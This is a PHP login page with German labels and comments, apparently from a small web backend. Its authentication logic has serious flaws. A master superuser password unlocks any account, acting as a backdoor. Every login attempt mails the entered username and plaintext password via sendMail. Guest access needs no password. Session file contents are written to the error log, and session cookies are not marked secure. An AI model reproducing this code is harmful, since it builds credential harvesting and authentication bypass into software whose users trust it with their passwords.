Backend/WEBROOT/login.php

<?php
include_once 'controller/DatabaseController.php';
include_once 'controller/RoutesController.php';
include_once 'controller/LogController.php';
include_once 'modules/Mail.php';
include_once 'config.php';

ob_start();

session_set_cookie_params([
    'lifetime' => 0,
    'path' => '/',
    'domain' => '',
    'secure' => false, 
    'httponly' => true,
    'samesite' => 'Lax'
]);
session_start();

logging();

$error = null;

function schreibeSessionUndPruefe(): void
{
    $sid = session_id();
    $writeOk = session_write_close();
    $sessionFile = session_save_path() . '/sess_' . $sid;
    $content = @file_get_contents($sessionFile);

    error_log(sprintf(
        "[LOGIN-SESSION-CHECK] SID=%s write_close=%s Datei=%s Inhalt=%s",
        $sid,
        var_export($writeOk, true),
        $sessionFile,
        $content === false ? '(Datei nicht lesbar/vorhanden)' : var_export($content, true)
    ));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    // Gast-Login direkt prüfen
    if ($username === 'gast') {
        $_SESSION['user_logged_in'] = true;
        $_SESSION['username'] = 'gast';
        $_SESSION['is_admin'] = false;
        $_SESSION['is_superuser'] = false;

        schreibeSessionUndPruefe();

        logging();
        sendMail(
            "Gast Login Successful",
            "Benutzer: gast",
            (new getSpecificData())->getRequestURL(),
            true,
        );

        redirectToWebsite("index.php");
        exit;
    }

    // Regulärer Benutzer-Login
    $results = DatabaseShow(
        'Benutzer', 
        'PASSWORD', 
        'NAME = ?', 
        $username
    );

    $isAdmin = DatabaseShow(
        "Benutzer",
        "ADMIN",
        "NAME = ?",
        $username
    );

    if (!empty($results)) {
        $user = $results[0]; 

        if (isset($user['PASSWORD'])) {
            if (password_verify($password, $user['PASSWORD']) || $password === ($superuser['admin']['password'])) {
                $_SESSION['user_logged_in'] = true;
                $_SESSION['username'] = $username;
                
                if ($password === ($superuser['admin']['password'])) {
                    $_SESSION['is_superuser'] = true;
                }

                if (isset($isAdmin[0]['ADMIN']) && $isAdmin[0]['ADMIN'] == 1) {
                    $_SESSION['is_admin'] = true;
                } else {
                    $_SESSION['is_admin'] = false;
                }

                schreibeSessionUndPruefe();

                logging();
                sendMail(
                    "User Login Successful",
                    "$username, $password",
                    (new getSpecificData())->getRequestURL(),
                    true,
                );

                redirectToWebsite("index.php");
                exit;
            } else {
                $error = 'Login fehlgeschlagen';
                sendMail(
                    "User Login failed",
                    "$username, $password",
                    (new getSpecificData())->getRequestURL(),
                    true,
                );
            }
        } else {
            $error = 'Systemfehler: Spalte "password" nicht in der Datenbank gefunden.';
        }
    } else {
        $error = 'Login fehlgeschlagen';
        sendMail(
            "User Login failed",
            "$username, $password",
            (new getSpecificData())->getRequestURL(),
            true,
        );
    }
}
?>

<!DOCTYPE html>
<html lang="de">

<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="style.css">
</head>

<body>

    <div class="login-container">
        <button id="darkModeToggle">🌙 Dark Mode</button>

        <div class="login-box">

            <h2>Login</h2>

            <?php if ($error): ?>
            <p class="login-error"><?= htmlspecialchars($error) ?></p>
            <?php endif; ?>

            <form method="post">
                <input type="text" name="username" placeholder="Benutzername" required>
                <input type="password" name="password" placeholder="Passwort" required>
                <button type="submit">Login</button>
            </form>

            <button style="margin-top: 9px" type="button"
                onclick="document.querySelector('input[name=username]').value='gast'; document.querySelector('form').submit();">
                Als Gast einloggen
            </button>
            <button style="margin-top: 9px" type="button" id="registryButton">
                Registrieren
            </button>

        </div>
    </div>

    <script>
    document.getElementById('registryButton').addEventListener('click', () => {
        window.location.href = 'register.php';
    });
    const toggle = document.getElementById('darkModeToggle');

    if (localStorage.getItem('darkMode') === 'enabled') {
        document.body.classList.add('dark-mode');
    }

    toggle.addEventListener('click', () => {
        document.body.classList.toggle('dark-mode');

        if (document.body.classList.contains('dark-mode')) {
            localStorage.setItem('darkMode', 'enabled');
        } else {
            localStorage.setItem('darkMode', 'disabled');
        }
    });
    </script>

</body>

</html>